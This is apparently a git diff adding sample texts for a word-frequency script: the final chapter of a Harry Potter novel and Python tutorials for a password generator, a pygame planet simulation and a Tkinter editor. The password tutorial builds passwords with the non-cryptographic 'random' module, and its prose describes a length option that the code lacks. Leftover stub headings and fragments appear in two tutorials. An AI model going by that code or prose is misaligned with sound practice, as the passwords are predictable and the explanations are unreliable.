Quirrell to die; he shows just as little mercy to his followers +as his enemies. Nevertheless, Harry, while you may only have delayed his +return to power, it will merely take someone else who is prepared to +fight what seems a losing battle next time -- and if he is delayed +again, and again, why, he may never return to power." + +Harry nodded, but stopped quickly, because it made his head hurt. Then +he said, "Sir, there are some other things I'd like to know, if you can +tell me... things I want to know the truth about...." + +"The truth." Dumbledore sighed. "It is a beautiful and terrible thing, +and should therefore be treated with great caution. However, I shall +answer your questions unless I have a very good reason not to, in which +case I beg you'll forgive me. I shall not, of course, lie." + +"Well... Voldemort said that he only killed my mother because she tried +to stop him from killing me. But why would he want to kill me in the +first place?" + +Dumbledore sighed very deeply this time. + +"Alas, the first thing you ask me, I cannot tell you. Not today. Not +now. You will know, one day... put it from your mind for now, Harry. +When you are older... I know you hate to hear this... when you are +ready, you will know." + +And Harry knew it would be no good to argue. + +"But why couldn't Quirrell touch me?" + +"Your mother died to save you. If there is one thing Voldemort cannot +understand, it is love. He didn't realize that love as powerful as your +mother's for you leaves its own mark. Not a scar, no visible sign... to +have been loved so deeply, even though the person who loved us is gone, +will give us some protection forever. It is in your very skin. Quirrell, +full of hatred, greed, and ambition, sharing his soul with Voldemort, +could not touch you for this reason. It was agony to touch a person +marked by something so good." + +Dumbledore now became very interested in a bird out on the windowsill, +which gave Harry time to dry his eyes on the sheet. When he had found +his voice again, Harry said, "And the invisibility cloak - do you know +who sent it to me?" + +"Ah - your father happened to leave it in my possession, and I thought +you might like it." Dumbledore's eyes twinkled. "Useful things... your +father used it mainly for sneaking off to the kitchens to steal food +when he was here." + +"And there's something else..." + +"Fire away." + +"Quirrell said Snape --" + +"Professor Snape, Harry." "Yes, him -- Quirrell said he hates me because +he hated my father. Is that true?" + +"Well, they did rather detest each other. Not unlike yourself and Mr. +Malfoy. And then, your father did something Snape could never forgive." + +"What?" + +"He saved his life." + +"What?" + +"Yes..." said Dumbledore dreamily. "Funny, the way people's minds work, +isn't it? Professor Snape couldn't bear being in your father's debt.... +I do believe he worked so hard to protect you this year because he felt +that would make him and your father even. Then he could go back to +hating your father's memory in peace...." + +Harry tried to understand this but it made his head pound, so he +stopped. + +"And sir, there's one more thing..." + +"Just the one?" + +"How did I get the Stone out of the mirror?" + +"Ah, now, I'm glad you asked me that. It was one of my more brilliant +ideas, and between you and me, that's saying something. You see, only +one who wanted to find the Stone -- find it, but not use it -- would be +able to get it, otherwise they'd just see themselves making gold or +drinking Elixir of Life. My brain surprises even me sometimes.... Now, +enough questions. I suggest you make a start on these sweets. Ah! Bettie +Bott's Every Flavor Beans! I was unfortunate enough in my youth to come +across a vomitflavored one, and since then I'm afraid I've rather lost +my liking for them -- but I think I'll be safe with a nice toffee, don't +you?" + +He smiled and popped the golden-brown bean into his mouth. Then he +choked and said, "Alas! Ear wax!" + +Madam Pomfrey, the nurse, was a nice woman, but very strict. + +"Just five minutes," Harry pleaded. + +"Absolutely not." + +"You let Professor Dumbledore in..." + +"Well, of course, that was the headmaster, quite different. You need +rest." + +"I am resting, look, lying down and everything. Oh, go on, Madam +Pomfrey..." + +"Oh, very well," she said. "But five minutes only." + +And she let Ron and Hermione in. + +"Harry!" + +Hermione looked ready to fling her arms around him again, but Harry was +glad she held herself in as his head was still very sore. + +"Oh, Harry, we were sure you were going to -- Dumbledore was so worried +--" + +"The whole school's talking about it," said Ron. "What really happened?" + +It was one of those rare occasions when the true story is even more +strange and exciting than the wild rumors. Harry told them everything: +Quirrell; the mirror; the Stone; and Voldemort. Ron and Hermione were a +very good audience; they gasped in all the right places, and when Harry +told them what was under Quirrell's turban, Hermione screamed out loud. + +"So the Stone's gone?" said Ron finally. "Flamel's just going to die?" + +"That's what I said, but Dumbledore thinks that -- what was it? -- 'to +the well-organized mind, death is but the next great adventure. + +"I always said he was off his rocker," said Ron, looking quite impressed +at how crazy his hero was. + +"So what happened to you two?" said Harry. + +"Well, I got back all right," said Hermione. "I brought Ron round -- +that took a while -- and we were dashing up to the owlery to contact +Dumbledore when we met him in the entrance hall -- he already knew -- he +just said, 'Harry's gone after him, hasn't he?' and hurtled off to the +third floor." + +"D'you think he meant you to do it?" said Ron. "Sending you your +father's cloak and everything?" + +"Well, " Hermione exploded, "if he did -- I mean to say that's terrible +-- you could have been killed." + +"No, it isn't," said Harry thoughtfully. "He's a funny man, Dumbledore. +I think he sort of wanted to give me a chance. I think he knows more or +less everything that goes on here, you know. I reckon he had a pretty +good idea we were going to try, and instead of stopping us, he just +taught us enough to help. I don't think it was an accident he let me +find out how the mirror worked. It's almost like he thought I had the +right to face Voldemort if I could...." + +"Yeah, Dumbledore's off his rocker, all right," said Ron proudly. +"Listen, you've got to be up for the end-of-year feast tomorrow. The +points are all in and Slytherin won, of course -- you missed the last +Quidditch match, we were steamrollered by Ravenclaw without you -- but +the food'll be good." + +At that moment, Madam Pomfrey bustled over. + +"You've had nearly fifteen minutes, now OUT" she said firmly. + +After a good night's sleep, Harry felt nearly back to normal. + +I want to go to the feast," he told Madam Pomfrey as she straightened +his many candy boxes. I can, can't I?" + +"Professor Dumbledore says you are to be allowed to go," she said +stiffily, as though in her opinion Professor Dumbledore didn't realize +how risky feasts could be. "And you have another visitor." + +"Oh, good," said Harry. "Who is it?" + +Hagrid sidled through the door as he spoke. As usual when he was +indoors, Hagrid looked too big to be allowed. He sat down next to Harry, +took one look at him, and burst into tears. + +"It's -- all -- my -- ruddy -- fault!" he sobbed, his face in his hands. +I told the evil git how ter get past Fluffy! I told him! It was the only +thing he didn't know, an' I told him! Yeh could've died! All fer a +dragon egg! I'll never drink again! I should be chucked out an' made ter +live as a Muggle!" + +"Hagrid!" said Harry, shocked to see Hagrid shaking with grief and +remorse, great tears leaking down into his beard. "Hagrid, he'd have +found out somehow, this is Voldemort we're talking about, he'd have +found out even if you hadn't told him." + +"Yeh could've died!" sobbed Hagrid. "An' don' say the name!" + +"VOLDEMORT!" Harry bellowed, and Hagrid was so shocked, he stopped +crying. "I've met him and I'm calling him by his name. Please cheer up, +Hagrid, we saved the Stone, it's gone, he can't use it. Have a Chocolate +Frog, I've got loads...." + +Hagrid wiped his nose on the back of his hand and said, "That reminds +me. I've got yeh a present." + +"It's not a stoat sandwich, is it?" said Harry anxiously, and at last +Hagrid gave a weak chuckle. "Nah. Dumbledore gave me the day off +yesterday ter fix it. 'Course, he shoulda sacked me instead -- anyway, +got yeh this..." + +It seemed to be a handsome, leather-covered book. Harry opened it +curiously. It was full of wizard photographs. Smiling and waving at him +from every page were his mother and father. + +"Sent owls off ter all yer parents' old school friends, askin' fer +photos... knew yeh didn' have any... d'yeh like it?" + +Harry couldn't speak, but Hagrid understood. + +Harry made his way down to the end-of-year feast alone that night. He +had been held up by Madam Pomfrey's fussing about, insisting on giving +him one last checkup, so the Great Hall was already full. It was decked +out in the Slytherin colors of green and silver to celebrate Slytherin's +winning the house cup for the seventh year in a row. A huge banner +showing the Slytherin serpent covered the wall behind the High Table. + +When Harry walked in there was a sudden hush, and then everybody started +talking loudly at once. He slipped into a seat between Ron and Hermione +at the Gryffindor table and tried to ignore the fact that people were +standing up to look at him. + +Fortunately, Dumbledore arrived moments later. The babble died away. + +"Another year gone!" Dumbledore said cheerfully. "And I must trouble you +with an old man's wheezing waffle before we sink our teeth into our +delicious feast. What a year it has been! Hopefully your heads are all a +little fuller than they were... you have the whole summer ahead to get +them nice and empty before next year starts.... + +"Now, as I understand it, the house cup here needs awarding, and the +points stand thus: In fourth place, Gryffindor, with three hundred and +twelve points; in third, Hufflepuff, with three hundred and fifty-two; +Ravenclaw has four hundred and twenty-six and Slytherin, four hundred +and seventy- two." + +A storm of cheering and stamping broke out from the Slytherin table. +Harry could see Draco Malfoy banging his goblet on the table. It was a +sickening sight. + +"Yes, Yes, well done, Slytherin," said Dumbledore. "However, recent +events must be taken into account." + +The room went very still. The Slytherins' smiles faded a little. + +"Ahem," said Dumbledore. "I have a few last-minute points to dish out. +Let me see. Yes... + +"First -- to Mr. Ronald Weasley..." + +Ron went purple in the face; he looked like a radish with a bad sunburn. + +"...for the best-played game of chess Hogwarts has seen in many years, I +award Gryffindor house fifty points." + +Gryffindor cheers nearly raised the bewitched ceiling; the stars +overhead seemed to quiver. Percy could be heard telling the other +prefects, "My brother, you know! My youngest brother! Got past +McGonagall's giant chess set!" + +At last there was silence again. + +"Second -- to Miss Hermione Granger... for the use of cool logic in the +face of fire, I award Gryffindor house fifty points." + +Hermione buried her face in her arms; Harry strongly suspected she had +burst into tears. Gryffindors up and down the table were beside +themselves -- they were a hundred points up. "Third -- to Mr. Harry +Potter..." said Dumbledore. The room went deadly quiet for pure nerve +and outstanding courage, I award Gryffindor house sixty points." + +The din was deafening. Those who could add up while yelling themselves +hoarse knew that Gryffindor now had four hundred and seventy-two points +-- exactly the same as Slytherin. They had tied for the house cup -- if +only Dumbledore had given Harry just one more point. + +Dumbledore raised his hand. The room gradually fell silent. + +"There are all kinds of courage," said Dumbledore, smiling. "It takes a +great deal of bravery to stand up to our enemies, but just as much to +stand up to our friends. I therefore award ten points to Mr. Neville +Longbottom." + +Someone standing outside the Great Hall might well have thought some +sort of explosion had taken place, so loud was the noise that erupted +from the Gryffindor table. Harry, Ron, and Hermione stood up to yell and +cheer as Neville, white with shock, disappeared under a pile of people +hugging him. He had never won so much as a point for Gryffindor before. +Harry, still cheering, nudged Ron in the ribs and pointed at Malfoy, who +couldn't have looked more stunned and horrified if he'd just had the +Body-Bind Curse put on him. + +"Which means, Dumbledore called over the storm of applause, for even +Ravenclaw and Hufflepuff were celebrating the downfall of Slytherin, "we +need a little change of decoration." + +He clapped his hands. In an instant, the green hangings became scarlet +and the silver became gold; the huge Slytherin serpent vanished and a +towering Gryffindor lion took its place. Snape was shaking Professor +McGonagall's hand, with a horrible, forced smile. He caught Harry's eye +and Harry knew at once that Snape's feelings toward him hadn't changed +one jot. This didn't worry Harry. It seemed as though life would be back +to normal next year, or as normal as it ever was at Hogwarts. + +It was the best evening of Harry's life, better than winning at +Quidditch, or Christmas, or knocking out mountain trolls... he would +never, ever forget tonight. + +Harry had almost forgotten that the exam results were still to come, but +come they did. To their great surprise, both he and Ron passed with good +marks; Hermione, of course, had the best grades of the first years. Even +Neville scraped through, his good Herbology mark making up for his +abysmal Potions one. They had hoped that Goyle, who was almost as stupid +as he was mean, might be thrown out, but he had passed, too. It was a +shame, but as Ron said, you couldn't have everything in life. + +And suddenly, their wardrobes were empty, their trunks were packed, +Neville's toad was found lurking in a corner of the toilets; notes were +handed out to all students, warning them not to use magic over the +holidays ("I always hope they'll forget to give us these," said Fred +Weasley sadly); Hagrid was there to take them down to the fleet of boats +that sailed across the lake; they were boarding the Hogwarts Express; +talking and laughing as the countryside became greener and tidier; +eating Bettie Bott's Every Flavor Beans as they sped past Muggle towns; +pulling off their wizard robes and putting on jackets and coats; pulling +into platform nine and three-quarters at King's Cross Station. + +It took quite a while for them all to get off the platform. A wizened +old guard was up by the ticket barrier, letting them go through the gate +in twos and threes so they didn't attract attention by all bursting out +of a solid wall at once and alarming the Muggles. + +"You must come and stay this summer," said Ron, "both of you -- I'll +send you an owl." + +"Thanks," said Harry, "I'll need something to look forward to." People +jostled them as they moved forward toward the gateway back to the Muggle +world. Some of them called: + +"Bye, Harry!" + +"See you, Potter!" + +"Still famous," said Ron, grinning at him. + +"Not where I'm going, I promise you," said Harry. + +He, Ron, and Hermione passed through the gateway together. "There he is, +Mom, there he is, look!" + +It was Ginny Weasley, Ron's younger sister, but she wasn't pointing at +Ron. + +"Harry Potter!" she squealed. "Look, Mom! I can see + +"Be quiet, Ginny, and it's rude to point." + +Mrs. Weasley smiled down at them. + +"Busy year?" she said. + +"Very," said Harry. "Thanks for the fudge and the sweater, Mrs. +Weasley." + +"Oh, it was nothing, dear." + +"Ready, are you?" + +It was Uncle Vernon, still purple-faced, still mustached, still looking +furious at the nerve of Harry, carrying an owl in a cage in a station +full of ordinary people. Behind him stood Aunt Petunia and Dudley, +looking terrified at the very sight of Harry. + +"You must be Harry's family!" said Mrs. Weasley. + +"In a manner of speaking," said Uncle Vernon. "Hurry up, boy, we haven't +got all day." He walked away. + +Harry hung back for a last word with Ron and Hermione. + +"See you over the summer, then." + +"Hope you have -- er -- a good holiday," said Hermione, looking +uncertainly after Uncle Vernon, shocked that anyone could be so +unpleasant. + +"Oh, I will," said Harry, and they were surprised at the grin that was +spreading over his face. "They don't know we're not allowed to use magic +at home. I'm going to have a lot of fun with Dudley this summer...." + +THE END \ No newline at end of file diff --git a/general/zipf-curve/texts/How to Make a Password Generator in Python.txt b/general/zipf-curve/texts/How to Make a Password Generator in Python.txt new file mode 100644 index 00000000..b53c324f --- /dev/null +++ b/general/zipf-curve/texts/How to Make a Password Generator in Python.txt @@ -0,0 +1,172 @@ +# Password Generator with Python +**How to make a password generator with python and its modules argparse and random** + +## Idea +In this tutorial, we will make a Command-line tool for generating passwords. We will use the argparse module to make it easier to parse the command line arguments the user has provided. We make it so the user can define the letters which should be included, how many passwords should be created and if they shall be saved to a .txt file. + +Let us get started. + +## Imports +Let us import some Modules. For this program, we just need the `ArgumentParser` Class from `argparse` and the `shuffle()` and `choice()` functions from `random`. We also get the `string` module, which has some letters and numbers collections. We don't have to install any of these because they come with python. + +```python +from argparse import ArgumentParser +from random import shuffle, choice +import string +``` + +## Setting up the argument parser. + +Now we continue with setting up the argument parser. To do this we sav,e a new instance of the `ArgumentParser` class to our `parser` variable. We give the parser a name and a description. This information will appear if the user provides the `-h` argument when running our program, it will also tell them the possible arguments. + +```python +# Setting up the Argument Parser +parser = ArgumentParser( + prog='Password Generator.', + description='Generate any number of passwords with this tool.' +) +``` + +We continue by adding arguments to the parser. The first four will be the amounts of each character type. That's why we set them all to 2 by default. We check if they are of type integer. + +```python +# Adding the arguments to the parser +parser.add_argument('-numNumbers', default=2, type=int) +parser.add_argument('-numLowercaseLetters', default=2, type=int) +parser.add_argument('-numCapitalLetters', default=2, type=int) +parser.add_argument('-numSpecialChars', default=2, type=int) +``` + +The subsequent two arguments are the desired length and the number of passwords. We set the length to be eight by default because most platforms have this requirement. We check for the length and amount if it is of type int because a string or float would not make sense in this case. The store argument is a flag that just tells the program whether to store the passwords in a text file or not. By default, this is false that is why the action is `"store_true"`. + +```python +# The amount is a number so we check it to be of type int. +parser.add_argument('-amount', default=1, type=int) +parser.add_argument('-store', default=False, action='store_true') +``` + +Last but not least we parse the command line for these arguments with the `parse_args()` method of the `ArgumentParser` class. If we don't call this method the parser won't check for anything and won't raise any exceptions. + +```python +# Parsing the command line arguments. +arguments = parser.parse_args() +``` + +## The Password Loop + +We continue with the main part of the program: the Password loop. Here we generate the number of passwords specified by the user. + +That is why we define a passwords list that will hold all the generated passwords. We don't need the number which is returned by the range generator. + +```python +passwords = [] + +# Looping through the number of passwords. +for _ in range(int(arguments.amount)): +``` + +After that, we make a password list which will first hold all the possible letters and then the password string. + +```python +password = [] +``` + +Now we add the possible letters, numbers, and special characters to the password list. For each of the types, we check if it is true in the namespace of the parser. We get the respective letters from the string module. + +```python + # If / how many Numbers the password should contain + for _ in range(arguments.numNumbers): + password.append(choice(string.digits)) + + # If / how many Capital Characters the password should contain + for _ in range(arguments.numCapitalLetters): + password.append(choice(string.ascii_uppercase)) + + # If / how many lowercase Characters the password should contain + for _ in range(arguments.numLowercaseLetters): + password.append(choice(string.ascii_lowercase)) + + # If / how many Special Characters the password should contain + for _ in range(arguments.numSpecialChars): + password.append(choice(string.punctuation)) +``` + +Then we use the `shuffle` function from `random` to mix up the list. This is done in place. + +```python + # Shuffle the list with all the possible letters, numbers, and symbols. + shuffle(password) +``` + +After this, we get the first items of the list until the length specified by the user and then we join the resulting with `""` so we have the string version of it. + +```python + # Get the letters of the string up to the length argument and then join them. + password = ''.join(password) +``` + +Last but not least we append this password to the passwords list. + +```python + # Append this password to the overall list of passwords. + passwords.append(password) +``` + +## Saving the Passwords + +After the password loop, we check if the user said he or she wanted to save the passwords to a file. if that is the case we simply open a file, which will be made if it does not exist. + +```python +# Store the password to a .txt file. +if arguments.store: + with open('passwords.txt', 'w') as f: + f.write('\n'.join(passwords)) +``` + +In all cases, we print out the passwords. + +```python +print('\n'.join(passwords)) +``` + + +## Examples + +Now you will see some useful examples of the generator. Keep in mind this will be different for you. + +``` +C:\Users\Maxim> main.py +^G~0,NU4 +``` +``` +C:\Users\Maxim> main.py -amount 5 +j@BJk#IO +F~§!]G_E +nGg#MAW- +fh=5c)-§ +cjFPy?]A +``` +``` +C:\Users\Maxim> main.py -amount 2 +1*~G^n%K +2ouVq)ç¬ +``` +``` +C:\Users\Maxim> main.py -numCapitalLetters 6 +O1AdJ]FQmR&7 +``` +## Imports + +## Setting up the argument parser. + +## Specifying the possible characters. + +**show trick to speed up process** + +## The Password Loop + +## Saving the Passwords + +## Conclusion + +Excellent! You have successfully created a Password Generator using Python code! See how you can add more features to this program such as hashing the passwords or more options. diff --git a/general/zipf-curve/texts/Planet Simulation with Python and Pygame.txt b/general/zipf-curve/texts/Planet Simulation with Python and Pygame.txt new file mode 100644 index 00000000..896c028e --- /dev/null +++ b/general/zipf-curve/texts/Planet Simulation with Python and Pygame.txt @@ -0,0 +1,222 @@ +# Planet Simulation with Python and Pygame +**How to make a planet-class with python and its game-making module pygame.** + +## Idea +In this tutorial, we are going to make a little planet simulation with python and the game-making library pygame. Pygame has a handy vector class that can help us when simulating the planets and their heading. + +So let us start with the imports. + +## Imports + +All of the modules we import are built-in except the pygame library, which we have to install with `pip install pygame`. We also need `sys`, but it will simply be used to stop the game when pressing on the x at the top left of the window. After that, we get the `Vector2` class from `pygame.math`. It offers some interesting methods to use when we want to work with vectors. The `randrange()` function from random will just be used when we make some planets. We also get `ctypes` to enable high DPI. This is often used with `tkinter` but we can also use it here, even though it has not as great an effect. + +```python +# Imports +import pygame +import sys + +# We will work with Vector2 because it has some useful functions. +from pygame.math import Vector2 + +from random import randrange + +import ctypes + +# Enable High Dots Per Inch so the image displayed on the window is sharper. +ctypes.windll.shcore.SetProcessDpiAwareness(1) +``` + +## Pygame Setup + +Next, we set up pygame, to do this we start with `pygame.init()` this has to be called so all the modules work. After that, we define the game's fps and we make a clock object which will handle the game speed in combination with the defined fps. + +```python +# Configuration +pygame.init() +fps = 60 +fpsClock = pygame.time.Clock() +``` + +We continue by defining the window size and making the window with these sizes. + +```python +# Window Size +windowdim = Vector2(800, 800) +screen = pygame.display.set_mode((int(windowdim.x), int(windowdim.y))) +``` + +## Planet Class +Let us get into the planet-class this is the main part of this program's code because it allows us to make an infinite amount of planets that will react to each other. + +Outside of the class we just need to define a list that holds all of the planets. Then in the main loop, we loop over this list and call a method on all of these objects. + +```python +# all the Planets are stored here +# They will append themselves. +planets = [] +``` + +### Constructor Function + +Let us first talk about the constructor of the class. We provide each planet with a starting position and we have the following optional arguments; delta, which is the velocity, the radius of the planet, and if the planet is immovable. We set all of these inputs to a variable available to the class. + +```python +# The Planet Class which will handle drawing and calculating planets. +class Planet(): + def __init__(self, position, delta=Vector2(0, 0), radius=10, imovable=False): + + # Where the planet is at the moment + self.position = position + + # The Radius determines how much this planet affects others + self.radius = radius + + # The Velocity + self.delta = delta + + # If this planet is moving + self.imovable = imovable + + # If this planet can be eaten by others. + self.eatable = False +``` + +At the end of the constructor, we append the object itself to the planet list so we don't have to do this manually. + +```python + # Appending itself to the list so its process + # function will later be called in a loop. + planets.append(self) +``` + +### Process Function + +Let us talk about the process function. This will be called for each planet in each frame. The whole of the movement code will be skipped if the `imovable` property is set to True. If the planet can move it will loop through every other planet and if the planet is not the object itself we continue. + +If the planet is too near to this one it will be eaten this is done by adding the radius of this planet to the other one and removing this planet from the list. + +If that's, not the case we calculate the vector to the other planet and then we add it to the delta. Now, this whole code is in a try-except block because it won't work if the planets are on top of each other. After that, we add the delta to the position. + +```python + # This function will be called once every frame + # and it is responsible for calculating where the planet will go. + + # No Movement Calculations will happen if the planet doesn't move at all. + # it also won't be eaten. + if not-self.imovable: + for i in planets: + + if not i is self: + try: + if self.eatable: + if self.position.distance_to(i.position) < self.radius + i.radius: + print('Eaten') + + i.radius += self.radius + + planets.remove(self) + + dir_from_obj = (i.position - self.position).normalize() * 0.01 * (i.radius / 10) + self.delta += dir_from_obj + + except: + print('In the same spot') + + self.position += self.delta +``` + +In the end, we draw the planet at its position this is done even if the planet is immovable. + +```python + # Drawing the planet at the current position. + pygame.draw.circle( + screen, + [255, 255, 255], + self.position, + self.radius, + ) +``` + +## Main Loop + +Last but not least we have the mainloop which will cool the process function on each planet in the planets list every frame. + +```python +# Game loop. +while True: + screen.fill((0, 0, 0)) + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + for p in planets: + p.process() + + pygame.display.flip() + fpsClock.tick(fps) +``` + +Now, this code won't spawn planets by itself. In the next part, we look at some examples. + +## Examples + +### Sun and two opposing Planets + +This code is run right before the main loop. and it will spawn three planets. After the code, you see it in action. + +```python +# Sun and two opposing Planets +Planet(Vector2(400, 400), radius=50, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(3, 0), radius=10) +Planet(Vector2(400, 600), delta=Vector2(-3, 0), radius=10) +``` + +![enter image description here](https://maximmaeder.com/wp-content/uploads/2022/06/p1.gif) + +### Sun and four opposing Planets + +```python +# Sun and four opposing Planets +Planet(Vector2(400, 400), radius=50, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(3, 0), radius=10) +Planet(Vector2(400, 600), delta=Vector2(-3, 0), radius=10) +Planet(Vector2(600, 400), delta=Vector2(0, 3), radius=10) +Planet(Vector2(200, 400), delta=Vector2(0, -3), radius=10) +``` + +![enter image description here](https://maximmaeder.com/wp-content/uploads/2022/06/p2.gif) + +### Two Suns and two planets + +```python +# Two Suns and two planets +Planet(Vector2(600, 400), radius=20, imovable=True) +Planet(Vector2(200, 400), radius=20, imovable=True) + +Planet(Vector2(400, 200), delta=Vector2(0, 0), radius=10) +Planet(Vector2(400, 210), delta=Vector2(1, 2), radius=5) +``` + +![enter image description here](https://maximmaeder.com/wp-content/uploads/2022/06/p3.gif) + +### Grid + +```python +# Grid +gridDimension = 10 +gridgap = 80 +for x in range(gridDimension): + for y in range(gridDimension): + Planet(Vector2(gridgap * x + 40, gridgap * y + 40), radius=3, imovable=True) + +Planet(Vector2(200, 200), delta=Vector2(randrange(-3, 3), 2), radius=5) +``` + +![enter image description here](https://maximmaeder.com/wp-content/uploads/2022/06/p4.gif) + +## Conclusion + +Excellent! You have successfully created a Planet Simulation using Python code! See how you can add more features to this program such as a UI to place planets or more settings for the planets. \ No newline at end of file diff --git a/general/zipf-curve/texts/Simple Text editor with Tkinter.txt b/general/zipf-curve/texts/Simple Text editor with Tkinter.txt new file mode 100644 index 00000000..0509ce00 --- /dev/null +++ b/general/zipf-curve/texts/Simple Text editor with Tkinter.txt @@ -0,0 +1,204 @@ +# Simple Text editor with Tkinter. +**How to make a simple program capable of opening, editing, and saving text files.** + +## Idea +We are going to make a simple text editor with the Tkinter module which comes with python so we don't have to install anything. It will have the following features. +- Open text files. +- Edit text files. +- Save text files. +- Open With (our Editor) + +## Imports +We start by importing some Modules which we all later need. We import Everything from `Tkinter` so we have all the variables available and we also import the `scrolledText` and `filedialog` classes individually. The Scrolled text will be the Text Area where we write and the file dialog allows us to trigger the `askfileopen` window. + +```python +# Import +from tkinter import * +from tkinter import scrolledtext +from tkinter import filedialog +``` + +Next, we import ctypes to enable high DPI (Dots per inch) so our window looks sharper. Below the Code, you will find a comparison. + +```python +import ctypes +``` +**Low DPI** +![enter image description here](https://i.imgur.com/hOyvTtq.png) + +**High DPI** +![enter image description here](https://i.imgur.com/Z6MPMFD.png) + +Last but not least we import `sys` so we can analyze the arguments given through the command line. We later use this to enable *open with*. + +```python +import sys +``` + +## Variable Setup +Now we set up some variables for our little program. The first two variables are used to keep consistency when titling our program. The `currentFilePath` is used when saving the file so we know where to save it. This String will also be appended to the window title like many programs do to show what file is being edited. At last, we define which file types can be opened with our editor. We used this variable in the file dialogues. + +```python +# Setup Variables +appName = 'Simple Text Editor' +nofileOpenedString = 'New File' + +currentFilePath = nofileOpenedString + +# Viable File Types, when opening and saving files. +fileTypes = [("Text Files","*.txt"), ("Markdown","*.md")] +``` + +## Tkinter Setup +Next, we are going to set up the Tkinter window. To do that we make a new `Tk` object. After that, we give the window a title, and we use the variables we defined earlier. Because we have no file opened at the moment it will say `Simple Text Editor - New File`. We will also make it so an asterisk will be added in front of the file name so we know when we have unsaved changes. Then we set the initial window Dimensions in pixels with the `geometry` method of tkinter. Last but not least we set the first column to take up 100% of the space so our text area will be the full width. + +```python +# Tkinter Setup +window = Tk() + +window.title(appName + " - " + currentFilePath) + +# Window Dimensions in Pixel +window.geometry('500x400') + +# Set the first column to occupy 100% of the width +window.grid_columnconfigure(0, weight=1) +``` + +## Handler Functions +Now we are going to set up two functions that are connected to some events called by tkiner widgets. + +### File Actions +The first function is called when we press any of the file buttons so we can save open and make new files. Later you will see how we connect them. We have to get the `currentFilePath` because it was defined outside this function. Our function will take one argument namely the action, which defines what we want to do. We will check for this argument and do stuff dependent on that. + +So if the action is `open` we will trigger an `askopenfilename` through the dialog class. We supply it with the filetypes we defined earlier so the user will only be able open these file types. After we chose the file, the function will return the path of the file. Then we set the Window Title to our `appName - File Path`. After that, we set our `currentFilePath` to this file path. Now we just open the file and insert the content into our text area called `txt` after we cleared it with the `delete` method. + +```python +# Handler Functions +def fileDropDownHandeler(action): + global currentFilePath + + # Opening a File + if action == "open": + file = filedialog.askopenfilename(filetypes = fileTypes) + + window.title(appName + " - " + file) + + currentFilePath = file + + with open(file, 'r') as f: + txt.delete(1.0,END) + txt.insert(INSERT,f.read()) +``` + +If the action is `new` we will set the file path to `New File`. Then we also delete the text in the text area and we reset the window title. + +```python + # Making a new File + elif action == "new": + currentFilePath = nofileOpenedString + txt.delete(1.0,END) + window.title(appName + " - " + currentFilePath) +``` +Last but not least we will check for `save` or `saveAs`. Now if the file is new or we pressed the Save As button we will ask the user where he wants to save the file. Then we open the file and save the text from the text area there. After that, we reset the window title because there probably was an asterisk. +```python + # Saving a file + elif action == "save" or action == "saveAs": + if currentFilePath == nofileOpenedString or action=='saveAs': + currentFilePath = filedialog.asksaveasfilename(filetypes = fileTypes) + + with open(currentFilePath, 'w') as f: + f.write(txt.get('1.0','end')) + + window.title(appName + " - " + currentFilePath) +``` + +### Text Change +Now for a simple function. Whenever the text area is changed well call this function to simply add an asterisk in from of the current file Path to show the user that there are unsaved changes. + +```python +def textchange(event): + window.title(appName + " - *" + currentFilePath) +``` + +## Widgets +Now we are going to set up the Graphical Elements. + +### Text Area + +First, we set up the Text Area and set its height to 999 so it spans the full height. then we set its position through the `grid` method. `sticky=N+S+E+W` to tell the widget to grow in all directions when the user resizes the window. with the bind method, we say that whenever a key is pressed in the text area we call the `textchange` function. + +```python +# Text Area +txt = scrolledtext.ScrolledText(window, height=999) +txt.grid(row=1,sticky=N+S+E+W) + +# Bind event in the widget to a function +txt.bind('', textchange) +``` + +### Menu + +Now set up our Dropdown menu for file interactions. We first make a new `Menu` which has the root window. Then we make a second one that has the root of the first menu. We set the `tearoff` to false so the user won't be able to `tearoff` this menu to have it as a separate window. + +Then we add commands to this menu with its `add_command` method. We have to supply this function with a label that represents the displayed text and a command which is then called function if the button is pressed. We need to make a `lambda` which calls our `fileDropDownHandler` function. We have to do this so we can supply our function with an argument. We can also add separators with the `add_seperator` method. In the end, we add this menu as a cascade to the menu button and we set this menu to be the main menu. + +```python +# Menu +menu = Menu(window) + +# set tearoff to 0 +fileDropdown = Menu(menu, tearoff=False) + +# Add Commands and and their callbacks +fileDropdown.add_command(label='New', command=lambda: fileDropDownHandeler("new")) +fileDropdown.add_command(label='Open', command=lambda: fileDropDownHandeler("open")) + +# Adding a seperator between button types. +fileDropdown.add_separator() +fileDropdown.add_command(label='Save', command=lambda: fileDropDownHandeler("save")) +fileDropdown.add_command(label='Save as', command=lambda: fileDropDownHandeler("saveAs")) + +menu.add_cascade(label='File', menu=fileDropdown) + +# Set Menu to be Main Menu +window.config(menu=menu) +``` + +## Open with + +Now we enable the user to open a file directly with our program with this little code snippet. We check if the system argument length equates to two we know that the second argument is the path of the desired file. So we now set the `currentFilePath` to this path. After that, we do essentially the same as with the open with handler function. + +```python +# Enabling "open with" by looking if the second argument was passed. +if len(sys.argv) == 2: + currentFilePath = sys.argv[1] + + window.title(appName + " - " + currentFilePath) + + with open(currentFilePath, 'r') as f: + txt.delete(1.0,END) + txt.insert(INSERT,f.read()) +``` + +## Main Loop +In the end we also call the main loop method on the window so the window even displays. Without this, it would not work. + +```python +# Main Loop +window.mainloop() +``` + +## Showcase + +Now you will see how the program works in a short gif. +![enter image description here](https://i.imgur.com/hsKSEg4.gif)m capable of opening, editing and saving text files.** + +## Idea + +## Imports + + +```python +pass +``` \ No newline at end of file diff --git a/general/zipf-curve/wordamounts.png b/general/zipf-curve/wordamounts.png new file mode 100644 index 00000000..f6f31f0c Binary files /dev/null and b/general/zipf-curve/wordamounts.png differ diff --git a/general/zipf-curve/zipf_curve.py b/general/zipf-curve/zipf_curve.py new file mode 100644 index 00000000..c592675a --- /dev/null +++ b/general/zipf-curve/zipf_curve.py @@ -0,0 +1,103 @@ +# Imports +import os +from matplotlib import pyplot as plt +import string +import numpy as np +from scipy.interpolate import make_interp_spline + +# define some dictionaries +texts = {} +textlengths = {} +textwordamounts = {} + +unwantedCharacters = list(string.punctuation) + +# How many ranks well show +depth = 10 +xAxis = [str(number) for number in range(1, depth+1)] + +# Getting all files in text folder +filePaths = os.listdir('texts') + +# Getting text from .txt files in folder +for path in filePaths: + with open(os.path.join('texts', path), 'r', encoding='UTF-8') as f: + texts[path.split('.')[0]] = f.read() + + +# Cleaning and counting the 